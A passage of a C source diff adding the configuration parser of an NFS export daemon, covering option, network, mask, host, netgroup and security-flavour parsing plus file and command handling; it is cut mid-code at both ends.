(OPT_MAPALL|OPT_MAPROOT)) + flags |= oflags & (OPT_MAPALL|OPT_MAPROOT); + else if (oflagsall & (OPT_MAPALL|OPT_MAPROOT)) + flags |= oflagsall & (OPT_MAPALL|OPT_MAPROOT); + else + flags |= OPT_MAPROOT; + if (opt_deny) + flags |= OPT_DENY; + if (exp_cmd_num > 0) { + if (_CMD_OPT(oflagsall) == CMD_OPT_DELETE || + (ocmd_set && ocmd == CMD_OPT_DELETE)) { + flags &= OPT_HOST | OPT_NETWORK; + flags |= CMD_OPT_DELETE; + } else + flags |= _CMD_OPT(oflagsall) | ocmd; + } else + flags |= CMD_OPT_ADD; + flags |= oflagsall & (OPT_NO_MNT_DMP|OPT_NO_MNT_EXP); + if (!test_conf) + flags |= (goflags | fs_exp->oflags) & OPT_NO_MNT_DMP; + inc_no_mnt_exp(fs_exp, flags); + ae->oflags = flags; +} + +/* + * All addr_exp structures are sorted by maskbits value as follows: + * at the beginning all structures with zero maskbits (hosts), then + * all structures in descending order of maskbits value. + */ +static void +link_addr_exp(struct addr_exp_list *ae_list, struct addr_exp *ae) +{ + u_int maskbits; + + maskbits = ae->addr_spec->maskbits; + if (maskbits == 0) + TAILQ_INSERT_HEAD(ae_list, ae, link); + else { + struct addr_exp *ae0; + + TAILQ_FOREACH(ae0, ae_list, link) + if (ae0->addr_spec->maskbits != 0 && + ae0->addr_spec->maskbits <= maskbits) { + TAILQ_INSERT_BEFORE(ae0, ae, link); + return; + } + TAILQ_INSERT_TAIL(ae_list, ae, link); + } +} + +/* + * In general this routine creates addr_exp and links current addr_spec to + * the appropriate list. But it also makes final test for -network option + * and finds similar address specification in the corresponding list. + * If this function fails, then addr_spec can be freed (it was not linked + * to any list or is NULL). + */ +static int +add_addr_exp(const int net_flag) +{ + struct fs_exp *fe; + struct addr_exp_list *ae_list; + struct addr_spec *as; + struct addr_exp *ae; + u_int maskbits, family; + + as = addr_spec; + if (as == NULL) + return (0); + fe = fs_exp; + family = addr_spec_family; + maskbits = as->maskbits; + + if (net_flag) { + /* Finish work with previous -network option. */ + if (family == AF_INET) { + if (maskbits == 0) { + logconfx("could not build mask for the given " + "IPv4 network"); + return (-1); + } + } else { + if (maskbits == 0) { + logconfx("-network option requires -mask " + "option for IPv6 address"); + return (-1); + } + } + } + + addr_spec = NULL; + as = find_addr_spec(family, net_flag, as); + + /* Try to find duplicated address specifications. */ + ae_list = family == AF_INET ? &fe->ae4_list: &fe->ae6_list; + TAILQ_FOREACH(ae, ae_list, link) + if (ae->addr_spec == as) { + logconfx("duplicated address specification %s " + "for %s was found in this line", + addr_spec_str(family, as), fe->path); + return (-1); + } + + /* Add new addr_exp to the current fs_exp. */ + ae = Malloc(sizeof(*ae)); + if (ae == NULL) { + logconfe("add_addr_exp: malloc"); + return (-1); + } + ae->addr_spec = as; + as->ref_count++; + setopts_addr_exp(ae, net_flag); + fe->nspec++; + if (exp_cmd_num == 0) { + /* Sort addr_exp structures. */ + link_addr_exp(ae_list, ae); + } else { + /* For commands the order is not important. */ + TAILQ_INSERT_TAIL(ae_list, ae, link); + } + + return (0); +} + +/* + * Called from parse_opt_network() and parse_opt_mask(). + */ +static int +parse_opt_net_mask(char *arg, const int mask_flag) +{ + struct in6_addr in6_addr; + const char *errstr; + const struct netent *ne; + struct addr4_spec *as4; + struct addr6_spec *as6; + struct addr_spec *as; + char *maskstr; + in_addr_t in_addr; + u_int family, nbytes, maskbits; + + if (!mask_flag) { + maskstr = strchr(arg, '/'); + if (maskstr != NULL) + *maskstr++ = '\0'; + if (*arg == '!') { + ++arg; + opt_deny = 1; + } else + opt_deny = 0; + } else + maskstr = NULL; + + family = AF_UNSPEC; + + if (isdigit(*arg) != 0) { + /* Try to interpret argument as IPv4 numeric address. */ + if (inet_network3(arg, &in_addr, &nbytes) == 0) + family = AF_INET; + } + + if (family == AF_UNSPEC && (isxdigit(*arg) != 0 || *arg == ':')) { + /* Try to interpret argument as IPv6 numeric address. */ + switch (inet_pton(AF_INET6, arg, &in6_addr)) { + case 0: + /* Cannot interpret as numeric IPv6 address. */ + break; + case 1: + family = AF_INET6; + break; + default: /* -1 */ + logconfe("parse_opt_net_mask: inet_pton"); + return (-1); + } + } + + if (family == AF_UNSPEC) { + /* Try to interpret as network name. */ + ne = getnetbyname(arg); + if (ne == NULL) { + logconfx("cannot interpret \"%s\" address", arg); + return (-1); + } + if (ne->n_addrtype != AF_INET) { + logconfx("unsupported family type %d from " + "getnetbyname(%s)", ne->n_addrtype, arg); + return (-1); + } + in_addr = ne->n_net; + if (in_addr & 0xff000000) + nbytes = 4; + else if (in_addr & 0xff0000) + nbytes = 3; + else if (in_addr & 0xff00) + nbytes = 2; + else + nbytes = 1; + family = AF_INET; + } + + maskbits = 0; + if (family == AF_INET) { + /* IPv4 address. */ + if (nbytes != IPV4_ADDR_LEN) + in_addr <<= 8 * (IPV4_ADDR_LEN - nbytes); + if (maskstr == NULL) { + if (IN_CLASSA(in_addr)) + maskbits = 8; + else if (IN_CLASSB(in_addr)) + maskbits = 16; + else if (IN_CLASSC(in_addr)) + maskbits = 24; + else { + /* Does not belong to class A, B or C. */ + } + } + in_addr = htonl(in_addr); + } + + if (maskstr != NULL) { + /* Extract a mask from /masklen suffix. */ + maskbits = strtonum(maskstr, 1, UINT_MAX, &errstr); + if (errstr != NULL) { + logconfx("cannot interpret mask prefix length " + "\"%s\": %s", maskstr, errstr); + return (-1); + } + oflags |= OPT_MASK; + } + + if (mask_flag) { + const uint8_t *mask; + u_int masklen; + + /* The specified address is a mask. */ + if (family != addr_spec_family) { + logconfx("mask in -mask should belong to the same " + "family as previously specified network in " + "-network"); + return (-1); + } + as = addr_spec; + if (addr_spec_family == AF_INET) { + as4 = ADDR4_SPEC_PTR(as); + as4->mask.s_addr = in_addr; + mask = (uint8_t *)&as4->mask.s_addr; + masklen = IPV4_ADDR_LEN; + } else { + as6 = ADDR6_SPEC_PTR(as); + as6->mask = in6_addr; + mask = as6->mask.s6_addr; + masklen = IPV6_ADDR_LEN; + } + if (check_mask(mask, masklen, &maskbits) < 0) { + logconfx("wrong mask (in binary form it should be " + "1...10...0)"); + return (-1); + } + as->maskbits = maskbits; + } else { + int error; + + /* The specified address is a network address. */ + error = 0; + if (family == AF_INET) { + as = Malloc(ADDR_SPEC_IPV4_SIZE); + if (as == NULL) { + logconfe("parse_opt_net_mask: malloc"); + return (-1); + } + as4 = ADDR4_SPEC_PTR(as); + as4->addr.s_addr = in_addr; + if (maskbits != 0) { + error = make_mask((uint8_t *)&as4->mask.s_addr, + IPV4_ADDR_LEN, maskbits); + as->maskbits = maskbits; + } + } else { + as = Malloc(ADDR_SPEC_IPV6_SIZE); + if (as == NULL) { + logconfe("parse_opt_net_mask: malloc"); + return (-1); + } + as6 = ADDR6_SPEC_PTR(as); + as6->addr = in6_addr; + if (maskbits != 0) { + error = make_mask(as6->mask.s6_addr, + IPV6_ADDR_LEN, maskbits); + as->maskbits = maskbits; + } + } + if (error) { + logconfx("wrong mask length %u", maskbits); + return (-1); + } + addr_spec = as; + addr_spec_family = family; + } + + /* Remember that this line has at least one network. */ + oflagsall |= OPT_NETWORK; + return (0); +} + +/* + * Parse an argument of the -mask option. + */ +static int +parse_opt_mask(char *arg) +{ + if (parse_opt_net_mask(arg, 1) < 0) + return (-1); + return (add_addr_exp(1)); +} + +/* + * This function must be called before any address specification + * parsing, since -nospec disallow address specifications. + */ +static int +nospec_check(void) +{ + if (oflagsall & OPT_NOSPEC) { + logconfx("this line has -nospec option, " + "hosts or network addresses are disallowed"); + return (-1); + } + return (0); +} + +/* + * Parse an argument of the -network option. + */ +static int +parse_opt_network(char *arg) +{ + if (nospec_check() < 0) + return (-1); + + /* Forget about previous -mask option. */ + oflags &= ~OPT_MASK; + + return (parse_opt_net_mask(arg, 0)); +} + +/* + * Parse -nospec option. + */ +/* ARGSUSED */ +static int +parse_opt_nospec(char *arg __unused) +{ + if (oflagsall & (OPT_HOST|OPT_NETWORK)) { + logconfx("-nospec option cannot be used, since this line " + "already has address specifications"); + return (-1); + } + return (0); +} + +/* + * Parse -public or -webnfs option. + */ +/* ARGSUSED */ +static int +parse_opt_public(char *arg __unused) +{ + if (opt_public) { + logconfx("-public or -webnfs option can be specified only " + "once and for one file system"); + return (-1); + } + opt_public = 1; + return (0); +} + +/* + * Parse -ro and -rw options. + */ +/* ARGSUSED */ +static int +parse_opt_ro_rw(char *arg __unused) +{ + if (oflags & (OPT_RO|OPT_RW)) { + logconfx("mix of -ro and -rw options is not allowed"); + return (-1); + } + return (0); +} + +/* + * Parse an argument of the -sec option. + */ +static int +parse_opt_sec(char *arg) +{ + int sec[NFSE_NSECFLAV]; + char *ptr; + u_int i, j; + int secflav; + +#ifndef WITH_SEC + logconfw("-sec option does not have any effect on this system"); +#endif + + /* Valid format is flavor1:flavor2... */ + for (i = 0;;) { + ptr = strchr(arg, ':'); + if (ptr != NULL) + *ptr++ = '\0'; + if (!strcmp(arg, "sys")) + secflav = AUTH_SYS; + else if (!strcmp(arg, "krb5")) + secflav = RPCSEC_GSS_KRB5; + else if (!strcmp(arg, "krb5i")) + secflav = RPCSEC_GSS_KRB5I; + else if (!strcmp(arg, "krb5p")) + secflav = RPCSEC_GSS_KRB5P; + else { + logconfx("unknown security flavor \"%s\"", arg); + return (-1); + } + for (j = 0; j < i; ++j) + if (sec[j] == secflav) { + logconfx("duplicated security flavor \"%s\"", + arg); + return (-1); + } + sec[i] = secflav; + ++i; + if (ptr == NULL) + break; + if (i == NFSE_NSECFLAV) { + logconfx("too many security flavors (more than %u)", + NFSE_NSECFLAV); + return (-1); + } + arg = ptr; + } + + secflavors = find_secflavors(i, sec); + if (secflavors == NULL) + return (-1); + return (0); +} + +/* + * Used as a comparison function in bsearch(3) for option descriptions. + */ +static int +cmp_opt_descr(const void *key, const void *item) +{ + return (strcmp(key, ((const struct opt_descr *)item)->name)); +} + +/* + * Parse current field with option(s). + * On enter *beg0 is the start for search, *end0 is the next + * character after a current field if EOL is not reached, or + * it points to ther last '\0' character in a line. On return + * *beg0 and *end0 are the same, but for the next field. + * Return: + * 0 -- current field is not a option, + * -1 -- some error occurred; + * 1 -- current field is a correct option. + */ +static int +parse_opts(const int global_flag, char **beg0, char **end0) +{ + const struct opt_descr *od; + char *arg, *opt, *end; + int comma; + + /* + * Valid options combinations: + * -opt + * -opt=arg + * -opt arg + * -opt1,opt2 + * -opt1=arg,opt2 + * -opt1,opt2 arg + */ + + opt = *beg0; + + /* Check for EOL and not option field. */ + if (*opt == '\0' || *opt != '-') + return (0); + + /* -... -> ... */ + ++opt; + + if (*opt == '\0') { + logconfx("no option after '-'"); + return (-1); + } + + for (;;) { + end = strchr(opt, ','); + if (end != NULL) { + if (end == opt) { + /* ,... */ + logconfx("wrong usage of ',' in options: " + "no option before it"); + return (-1); + } + if (*(end + 1) == '\0') { + /* ..., */ + logconfx("wrong usage of ',' in options: " + "no option after it"); + return (-1); + } + /* ...,... */ + *end = '\0'; + comma = 1; + } else { + /* ... */ + comma = 0; + } + + arg = strchr(opt, '='); + if (arg != NULL) { + if (arg == opt) { + /* =... */ + logconfx("wrong usage of '=' in options: " + "no option before it"); + return (-1); + } + if (*(arg + 1) == '\0') { + /* ...= */ + logconfx("wrong usage of '=' in options: " + "no argument after it"); + return (-1); + } + /* ...=... */ + *arg++ = '\0'; + } else { + /* ... */ + } + + od = bsearch(opt, opt_descr_tbl, OPT_DESCR_TBL_SIZE, + sizeof(*od), cmp_opt_descr); + if (od == NULL) { + logconfx("unknown option -%s", opt); + return (-1); + } + + if (global_flag) { + if (!(od->oflags & GL_OPTS_ALLFLAGS)) { + logconfx("option -%s cannot be used as a " + "global option", opt); + return (-1); + } + } else { + if (!(od->oflags & EX_OPTS_ALLFLAGS)) { + logconfx("option -%s cannot be used for " + "export line", opt); + return (-1); + } + } + if (exp_cmd_num > 0) + if (od->oflags & ~FE_CMD_OPTS_ALLFLAGS & + FE_OPTS_ALLFLAGS) { + logconfx("option -%s cannot be used with a " + "command", opt); + return (-1); + } + + if (od->oflags & OPT_MASK) { + if (!opt_network) { + logconfx("-network option should be used " + "before -mask option"); + return (-1); + } + } else { + /* Finish work with previous -network option. */ + if (add_addr_exp(1) < 0) + return (-1); + } + + opt_network = (od->oflags & OPT_NETWORK) ? 1 : 0; + + if (od->oflags & (OPT_NETWORK|OPT_HOST)) + saw_addr_spec = 1; + else if (saw_addr_spec && !(od->oflags & OPT_MASK)) { + /* + * New option (not -mask) right after address + * specification, forget previous address + * specification related options. + */ + oflags &= ~AE_OPTS_ALLFLAGS; + saw_addr_spec = 0; + } + + if ((global_flag && (od->oflags & goflags)) || + (od->oflags & oflags)) { + logconfx("option -%s is duplicated in this line or " + "it is mutually exclusive with already specified " + "options", opt); + return (-1); + } + + if (!(od->oflags & OPT_ARG)) + arg = NULL; + else if (arg == NULL) { + if (!comma) { + *beg0 = select_field(end0); + arg = *beg0; + if (*arg == '\0' || *arg == '-') + arg = NULL; + } + if (arg == NULL) { + logconfx("option -%s requires an argument", + opt); + return (-1); + } + } + + if (arg != NULL) + if (remove_escapes(arg) < 0) + return (-1); + + if (od->oflags & OPT_COMPAT) + logconfw("option -%s is obsolete", opt); + + if (od->parse != NULL) + if (od->parse(arg) < 0) { + logconfx("-%s option%s parsing failed", opt, + arg != NULL ? "'s argument" : ""); + return (-1); + } + + /* + * Since -host, -network and options with arguments can be + * used several times, forget about corresponding flags. + */ + oflags |= od->oflags & + ~(OPT_ARG|OPT_COMPAT|OPT_HOST|OPT_NETWORK); + + /* + * Update oflagsall, special case is mutual exclusive + * options -maproot and -mapall, -ro and -rw. + */ + if (oflags & OPT_MAPROOT) + oflagsall &= ~OPT_MAPALL; + else if (oflags & OPT_MAPALL) + oflagsall &= ~OPT_MAPROOT; + else if (oflags & OPT_RO) + oflagsall &= ~OPT_RW; + else if (oflags & OPT_RW) + oflagsall &= ~OPT_RO; + oflagsall |= oflags; + + if (!comma) { + /* Last option in ...,...,... or single option. */ + *beg0 = select_field(end0); + break; + } + + /* ...,... */ + opt = end + 1; + } + + return (1); +} + +/* + * Parse a host. + */ +static int +parse_host(const char *host) +{ + static struct addrinfo hints = { + .ai_flags = 0, + .ai_family = AF_UNSPEC, + .ai_socktype = SOCK_DGRAM, + .ai_protocol = IPPROTO_UDP, + .ai_addrlen = 0, + .ai_addr = NULL, + .ai_canonname = NULL, + .ai_next = NULL + }; + + const struct addrinfo *ai; + struct addrinfo *ai0; + struct addr_spec *as; + struct addr4_spec *as4; + struct addr6_spec *as6; + int error; + + if (nospec_check() < 0) + return (-1); + + error = getaddrinfo(host, (char *)NULL, &hints, &ai0); + if (error != 0) { + if (error == EAI_NONAME) + logconfx("unknown host or cannot interpret \"%s\" " + "hostname", host); + else + logconfx("parse_host: getaddrinfo(%s): %s", host, + gai_strerror(error)); + return (-1); + } + + error = -1; + + for (ai = ai0; ai != NULL; ai = ai->ai_next) { + switch (ai->ai_family) { + case AF_INET: + addr_spec_family = AF_INET; + as = Malloc(ADDR_SPEC_IPV4_SIZE); + if (as == NULL) { + logconfe("parse_opt_host: malloc"); + goto done; + } + as4 = ADDR4_SPEC_PTR(as); + as4->addr.s_addr = ((const struct sockaddr_in *) + ai->ai_addr)->sin_addr.s_addr; + as4->mask.s_addr = UINT32_MAX; + break; + case AF_INET6: + addr_spec_family = AF_INET6; + as = Malloc(ADDR_SPEC_IPV6_SIZE); + if (as == NULL) { + logconfe("parse_opt_host: malloc"); + goto done; + } + as6 = ADDR6_SPEC_PTR(as); + as6->addr = ((const struct sockaddr_in6 *) + ai->ai_addr)->sin6_addr; + make_mask(as6->mask.s6_addr, IPV6_ADDR_LEN, + IPV6_ADDR_LEN * 8); + break; + default: + /* Unsupported address family, skip it. */ + continue; + } + as->maskbits = 0; + addr_spec = as; + if (add_addr_exp(0) < 0) + goto done; + } + + /* Remember that this line has at least one host. */ + oflagsall |= OPT_HOST; + error = 0; +done: + freeaddrinfo(ai0); + return (error); +} + +/* + * Parse an argument of the -host option. + */ +static int +parse_opt_host(char *arg) +{ + if (*arg == '!') { + ++arg; + opt_deny = 1; + } else + opt_deny = 0; + return (parse_host(arg)); +} + +/* + * Parse all hosts specifications. At first step try to interpret + * each host specification as netgroup(5) name, then try to interpret + * it as a host domain name or host address. + */ +static int +parse_hosts(char **beg0, char **end0) +{ + char *beg, *end, *host, *user, *domain; + int parsed; + + end = *beg0; + + for (;;) { + /* Get new hostname. */ + beg = select_field(&end); + + /* Check for EOL. */ + if (*beg == '\0') + break; + + /* Check for option. */ + if (*beg == '-') + break; + + if (*beg == '!') { + ++beg; + opt_deny = 1; + } else + opt_deny = 0; + + /* Try to interpret as netgroup(5). */ + setnetgrent(beg); + for (parsed = 0;;) { + if (getnetgrent(&host, &user, &domain) == 0) + break; + if (host != NULL) { + if (parse_host(host) < 0) + return (-1); + parsed = 1; + } + } + endnetgrent(); + + if (!parsed) { + /* Try to interpret as a host. */ + if (parse_host(beg) < 0) + return (-1); + } + saw_addr_spec = 1; + } + + *beg0 = beg; + *end0 = end; + + return (0); +} + +/* + * Parse the beginning of a command from the -c option's argument. + */ +static int +parse_cmd(char **beg0, char *end) +{ + char *beg, *ptr; + uint32_t flag; + + beg = *beg0; + if (*beg == '\0') { + logconfx("no command at the beginning of a string"); + return (-1); + } + ptr = strchr(beg, ' '); + if (ptr == NULL) + ptr = strchr(beg, '\t'); + if (ptr != NULL) { + *ptr = '\0'; + ptr = skip_spaces(ptr + 1); + } + if (ptr == NULL) + ptr = end; + if (strcmp(beg, "add") == 0) + flag = CMD_OPT_ADD; + else if (strcmp(beg, "update") == 0) + flag = CMD_OPT_UPDATE; + else if (strcmp(beg, "delete") == 0) + flag = CMD_OPT_DELETE; + else if (strcmp(beg, "flush") == 0) + flag = CMD_OPT_FLUSH; + else if (strcmp(beg, "file") == 0) { + logconfx("nested command \"file\" is not allowed"); + return (-1); + } else if (strcmp(beg, "reload") == 0) { + logconfx("command \"reload\" cannot be used with other " + "commands"); + return (-1); + } else { + logconfx("unknown command \"%s\"", beg); + return (-1); + } + if (*ptr == '\0') { + logconfx("command \"%s\" requires an argument", beg); + return (-1); + } + switch (flag) { + case CMD_OPT_ADD: + case CMD_OPT_UPDATE: + case CMD_OPT_DELETE: + if (strncmp(ptr, "-f", sizeof("-f") - 1) == 0) { + if (file_is_parsed) { + logconfx("command \"%s -f\" cannot be used " + "in file with commands", beg); + return (-1); + } + exp_file_name = skip_spaces(ptr + sizeof("-f") - 1); + ocmd = flag; + ocmd_set = 1; + return (0); + } + break; + } + oflagsall = flag; + *beg0 = ptr; + return (0); +} + +/* + * Parse one line. + */ +static int +parse_line(void) +{ + struct fs_exp *fe; + char *beg, *end; + int rv; + + beg = skip_spaces(linebuf); + + /* Check for comment. */ + if (*beg == '#') + return (0); + + /* Check for empty line. */ + if (*beg == '\0') + return (0); + + /* Remove a comment from this line. */ + for (end = beg; *end != '\0'; ++end) + if (*end == '#') { + *end = '\0'; + break; + } + + /* Initialize settings for a new line. */ + oflags = oflagsall = 0; + opt_network = saw_addr_spec = 0; + fs_exp = NULL; + addr_spec = NULL; + cred_exp = NULL; + secflavors = NULL; + + /* + * If -c commands are parsed and we do not parse a file with + * export specifications, then parse a command name first. + */ + if (exp_cmd_num > 0 && !ocmd_set) { + if (parse_cmd(&beg, end) < 0) + return (-1); + if (ocmd_set) + return (0); + } + + if (strncmp(beg, "options:", sizeof("options:") - 1) == 0) { + /* Global options line. */ + if (exp_cmd_num > 0) { + logconfx("global options cannot be used with " + "commands"); + return (-1); + } + if (!TAILQ_EMPTY(fs_exp_list)) { + logconfx("global options can be used before all " + "other settings only"); + return (-1); + } + beg = skip_spaces(beg + sizeof("options:") - 1); + end = beg; + select_field(&end); + /* Parse options. */ + for (; *beg != '\0';) { + do { + rv = parse_opts(1, &beg, &end); + if (rv < 0) + return (-1); + } while (rv != 0); + } + goflags = oflagsall; + if (secflavors != NULL) + gsecflavors = secflavors; + return (0); + } + + /* Parse a directory. */ + if (parse_dir(&beg, &end) < 0) + return (-1); + fe = fs_exp; + + if (exp_cmd_num > 0) { + switch (_CMD_GET(oflagsall)) { + case CMD_UPDATE: + case CMD_DELETE: + if (_CMD_OPT(fe->oflags) == CMD_OPT_FLUSH) { + logconfx("commands \"delete\" and \"update\" " + "cannot be used after command \"flush\""); + return (-1); + } + break; + case CMD_FLUSH: + if (*beg != '\0') { + logconfx("command \"flush\" requires only " + "a directory name"); + return (-1); + } + free_addr_exp_list(&fe->ae4_list); + TAILQ_INIT(&fe->ae4_list); + free_addr_exp_list(&fe->ae6_list); + TAILQ_INIT(&fe->ae6_list); + if (fe->ae_def != NULL) { + fe->ae_def->cred_exp->ref_count--; + fe->ae_def->secflavors->ref_count--; + fe->ae_def = NULL; + } + fe->oflags |= CMD_OPT_FLUSH; + fe->nspec = 0; + return (0); + } + } + + for (; *beg != '\0';) { + /* Parse options. */ + do { + rv = parse_opts(0, &beg, &end); + if (rv < 0) + goto failed; + } while (rv != 0); + + /* Finish work with -network option. */ + if (add_addr_exp(1) < 0) + goto failed; + + /* + * After parse_dir() or parse_opts() beg points to + * nul-terminated string, if *end is not equal to '\0', + * then a string beg points to is not a last field. + */ + if (*end != '\0') + *(end - 1) = ' '; + + /* Parse hosts specifications. */ + if (parse_hosts(&beg, &end) < 0) + goto failed; + } + + if (!(oflagsall & (OPT_HOST|OPT_NETWORK|OPT_NOSPEC))) { + struct addr_exp *ae; + + /* Check for duplicated default export specification. */ + if (fe->ae_def != NULL) { + logconfx("default export specification already was " + "specified for %s", fe->path); + goto failed; + } + ae = Malloc(sizeof(*ae)); + if (ae == NULL) { + logconfe("parse_line: malloc"); + goto failed; + } + ae->addr_spec = NULL; + setopts_addr_exp(ae, 0); + fe->ae_def = ae; + fe->nspec++; + } else if (!saw_addr_spec) { + if (((oflags & AE_OPTS_ALLFLAGS) || + (oflags & (OPT_NO_MNT_DMP|OPT_NO_MNT_EXP))) && + !(oflags & OPT_NOSPEC)) + logconfw("some options specified at the end of this " + "line do not have effect on configuration"); + } + + fe->oflags |= oflagsall & + (FE_OPTS_ALLFLAGS & ~(OPT_NO_MNT_DMP|OPT_NO_MNT_EXP)); + if (oflagsall & OPT_NOSPEC) + fe->oflags |= oflagsall & (OPT_NO_MNT_DMP|OPT_NO_MNT_EXP); + return (0); + +failed: + free(addr_spec); + if (syserr_flag || exp_cmd_num > 0) + return (-1); + if (fs_exp != NULL) + fs_exp->oflags |= OPT_ERRCONFIG; + return (0); +} + +/* + * Forget about configuration for the given address family. + */ +static void +forget_conf(const u_int family) +{ + const struct fs_exp_list *fe_list; + struct addr_exp_list *ae_list; + struct fs_exp *fe; + + fe_list = fs_exp_list; + TAILQ_FOREACH(fe, fe_list, link) { + ae_list = family == AF_INET ? &fe->ae4_list : &fe->ae6_list; + free_addr_exp_list(ae_list); + TAILQ_INIT(ae_list); + } +} + +/* + * Read file's content line-by-line and parse each line. + */ +static int +parse_file(FILE *fp, const char *name) +{ + int rv; + + if (test_conf) + logmsgx("configure: reading file %s", name); + lineno = 0; + exp_file_name = name; + file_is_parsed = 1; + for (;;) { + rv = read_line(fp); + if (rv == 1) { + if (parse_line() < 0) + return (-1); + } else + break; + } + return (rv); +} + +/* + * This function parse single commands that cannot be used with another + * commands. + */ +static int +parse_single_cmd(const char *str) +{ + u_int cmd; + + if (strcmp(str, "reload") == 0) + cmd = CTL_CMD_RELOAD; + else if (strcmp(str, "flush") == 0) + cmd = CTL_CMD_FLUSH; + else + return (0); + if (exp_cmd_num != 1) { + exp_file_name = "-c"; + log_warn("command \"%s\" cannot be used with other commands", + str); + return (-1); + } + ctl_cmd_hdr.command = cmd; + return (1); +} + +/* + * Parse -c options commands. + * Return: + * 0 -- all commands were parsed successfully; + * -1 -- some error occurred (syserr_flag can be set); + * -2 -- some system error occurred (the caller must set syserr_flag). + */ +static int +parse_exp_cmds(void) +{ + struct stat statbuf; + const char *fname; + FILE *fp; + char *ptr, *linebuf_bak; + u_int i; + int rv; + + if (test_conf) + printf("configure: parsing -c commands\n"); + + ctl_cmd_hdr.version = CTL_API_VERSION; + + /* Check single command. */ + switch (parse_single_cmd(skip_spaces(exp_cmd_arr[0]))) { + case 0: + break; + case 1: + return (0); + default: + return (-1); + } + + /* Parse other commands. */ + for (i = 0; i < exp_cmd_num; ++i) { + ptr = skip_spaces(exp_cmd_arr[i]); + ocmd = 0; + ocmd_set = 0; + if (strncmp(ptr, "file", sizeof("file") - 1) == 0) + fname = skip_spaces(ptr + sizeof("file") - 1); + else { + exp_file_name = "-c"; + lineno = i + 1; + linebuf_bak = linebuf; + linebuf = ptr; + file_is_parsed = 0; + rv = parse_line(); + linebuf = linebuf_bak; + if (rv < 0) + return (-1); + if (!ocmd_set) + continue; + /* Apply command to export specifications from file. */ + fname = exp_file_name; + } + fp = fopen(fname, "r"); + if (fp == NULL) { + (void)crit_fs_err(errno); + logmsg("configure: fopen(%s, \"r\")", fname); + return (-1); + } + if (Fstat(fileno(fp), &statbuf) < 0) { + logmsg("configure: stat(%s)", fname); + goto failed; + } + if (!S_ISREG(statbuf.st_mode)) { + logmsgx("configure: file %s is not a regular " + "file", fname); + goto failed; + } + if (parse_file(fp, fname) < 0) + goto failed; + if (Fclose(fp) != 0) { + logmsg("configure: fclose(%s)", fname); + return (-1); + } + } + ctl_cmd_hdr.command = CTL_CMD_EXPORT; + return (0); + +failed: + if (Fclose(fp) != 0) + logmsg("configure: fclose(%s)", fname); + return (-1); +} + +/* + * Parse all configuration files. + * Return: + * 0 -- all files were parsed successfully; + * -1 -- some error occurred (syserr_flag can be set); + * -2 -- some system error occurred (the caller must set syserr_flag). + */ +static int +parse_exp_files(void) +{ + struct stat statbuf; + const struct dirent *dp; + const char *fname, *dname; + FILE *fp; + DIR *dirp; + char *name; + int i, rv; + + dirp = NULL; + for (i = 0; i < exp_file_num;) { + if (dirp == NULL) { + /* Not reading a directory. */ + if (exp_file_arr[i].isfile) { + /* A new file. */ + fname = exp_file_arr[i].name; + } else { + /* A new directory. */ + dname = exp_file_arr[i].name; + dirp = opendir(dname); + if (dirp == NULL) { + if (crit_fs_err(errno)) { + logmsg("configure: " + "opendir(%s)", dname); + return (-1); + } + logmsgw("configure: skipping " + "directory %s: %s", dname, + strerror(errno)); + ++i; + continue; + } + } + } + if (dirp != NULL) { + /* Reading a directory. */ + errno = 0; + dp = readdir(dirp); + if (dp == NULL) { + if (errno != 0) { + logmsg("configure: readdir(%s)", + dname); + return (-2); + } + if (closedir(dirp) < 0) { + logmsg("configure: closedir(%s)", + dname); + return (-2); + } + dirp = NULL; + ++i; + continue; + } + /* Ignore "." and ".." directories. */ + if (dp->d_name[0] == '.') + switch (dp->d_name[1]) { + case '\0': + continue; + case '.': + if (dp->d_name[2] == '\0') + continue; + break; + } + if (Asprintf(&name, "%s%s", dname, dp->d_name) < 0) { + logmsg("configure: asprintf"); + return (-1); + } + fname = name; + } + fp = fopen(fname, "r"); + if (fp == NULL) { + rv = crit_fs_err(errno); + if (dirp != NULL && !rv) { + logmsgw("configure: skipping file %s: %s", + fname, strerror(errno)); + free(name); + continue; + } + logmsg("configure: fopen(%s, \"r\")", fname); + return (-1); + } + if (Fstat(fileno(fp), &statbuf) < 0) { + logmsg("configure: stat(%s)", fname); + goto failed; + } + if (!S_ISREG(statbuf.st_mode)) { + if (dirp != NULL) + goto next; + logmsgx("configure: %s is not a regular file", fname); + goto failed; + } + if (parse_file(fp, fname) < 0) + goto failed; +next: if (Fclose(fp) != 0) { + logmsg("configure: fclose(%s)", fname); + return (-1); + } + if (dirp != NULL) + free(name); + else + ++i; + } + return (0); + +failed: + if (Fclose(fp) != 0) + logmsg("configure: fclose(%s)", fname); + return (-1); +} + +/* + * Parse configuration. + */ +int +configure(const int reconf) +{ + int rv; + + /* Allocate initial line buffer. */ + linebuf = Malloc(LINEBUF_SIZE); + if (linebuf == NULL) { + logmsg("configure: malloc(%u)", LINEBUF_SIZE); + return (-1); + } + linesize = LINEBUF_SIZE; + + if (!reconf) { + /* First call. */ + LIST_INSERT_HEAD(&cred_exp_list, &cred_exp_anon_def, link); + LIST_INSERT_HEAD(&secflavors_list, &secflavors_def, link); + } + + /* Save old configuration of fs_exp_list. */ + fs_exp_list_prev = fs_exp_list; + fs_exp_list = fs_exp_list == &fs_exp_list1 ? + &fs_exp_list2 : &fs_exp_list1; + TAILQ_INIT(fs_exp_list); + + opt_public = 0; + goflags = 0; + free(index_webnfs); + index_webnfs = NULL; + setnetent(1); + + log_err = logconfe; + log_warn = logconfw; + if (exp_cmd_num == 0) { + if (test_conf) + log_to_console = 1; + rv = parse_exp_files(); + } else { + log_to_console = 1; + rv = parse_exp_cmds(); + } + + endnetent(); + free(linebuf); + + if (rv < 0) { + if (rv == -2) + syserr_flag = 1; + logmsgx("parsing failed: %s", syserr_flag ? + "some system error occurred" : "wrong configuration"); + free_fs_exp_list(fs_exp_list); + return (-1); + } + + if (exp_cmd_num == 0) { + no_mntproc_dump = (goflags & OPT_NO_MNT_DMP) ? 1 : 0; + no_mntproc_export = (goflags & OPT_NO_MNT_EXP) ? 1 : 0; + if (!test_conf) { + if (!have_ipv4) + forget_conf(AF_INET); + if (!have_ipv6) + forget_conf(AF_INET6); + free_wrong_conf(); + } + } + + return (0); +} + +/* + * Release memory used by the current fs_exp_list and check + * that structures with reference counters were freed. + */ +void +unconfigure(void) +{ +#ifdef DEBUG_MEMORY_LEAK + free_fs_exp_list(fs_exp_list); + free_unref_conf(); + if (!LIST_EMPTY(&addr4_spec_list)) + syslog(LOG_ERR, "addr4_spec_list is not empty"); + if (!LIST_EMPTY(&addr6_spec_list)) + 